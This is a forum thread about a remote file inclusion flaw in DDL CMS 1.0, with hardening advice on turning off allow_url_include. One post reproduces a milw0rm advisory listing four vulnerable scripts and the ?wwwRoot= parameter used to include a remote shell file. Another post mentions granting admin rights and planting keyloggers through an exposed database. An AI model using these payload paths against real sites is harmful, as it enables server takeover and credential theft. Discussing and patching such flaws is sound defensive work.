ddlcms exploit

[William Palmer]

Actually Switchblade if the user downloads your database and the mysql server allows remote connections a user can simply logon to your database and if it is a forum can grant them admin rights and therefore can add multiple stuff to the forums keylogging accounts or more

[Crucify]

this shouldn't be a problem, most hosts by default turn allow_url_include off since its unsafe.

to check just use a phpinfo.php file. Open a text editor and place the following codes..

<?php 
phpinfo(); 
?>

save it as phpinfo.php then upload it to your webserver and run it in your browser like http://yourdomain.com/phpinfo.php

Under PHP Core, you should find the allow_url_include and local value should be turned off.

If it's on, then you need to disable it in php.ini and also in your htaccess.

You can find php.ini under /usr/local/lib

add/edit this line in your php.ini

allow_url_include = Off

also need to add the following line in your htaccess

php_flag allow_url_include 0

[SplitIce]

Lol its a simple to fix exploit in the encoded portion. Those who know how to decode it can easily.

[DEViANCE]

Here is the exploit, it was posted on milw0rm on the 21st of this month.

+============================================================+
|                                                            |
| DDL CMS 1.0 Multiple Remote File Inclusion Vulnerabilities |
|                                                            |
+============================================================+
|                                                            |
| Author : HxH                                               |
|                                                            |
| E-Mail : HxH[at]live[dot]at                                |
|                                                            |
+------------------------------------------------------------+
|                                                            |
| Script : http://www.ddlcms.com/DDLCMS_v1.0.zip             |
|                                                            |
+------------------------------------------------------------+
|                                                            |
| Exploit :                                                  |
|                                                            |
| /header.php?wwwRoot=[Shell.txt?]                           |
|                                                            |
| /submit.php?wwwRoot=[Shell.txt?]                           |
|                                                            |
| /submitted.php?wwwRoot=[Shell.txt?]                        |
|                                                            |
| /autosubmitter/index.php?wwwRoot=[Shell.txt?]              |
|                                                            |
+============================================================+
|                                                            |
| Greetz : ~ JiKo ~ ThE X ~ TSH ~ All No-Exploit.com Members |
|                                                            |
+============================================================+

http://www.milw0rm.com/exploits/9722

[Little Dragon]

For the record, this is no longer an issue with the new release. Fixed.

[DEViANCE]

How is that related to this thread.

[Webestrian]

Its spam - Reported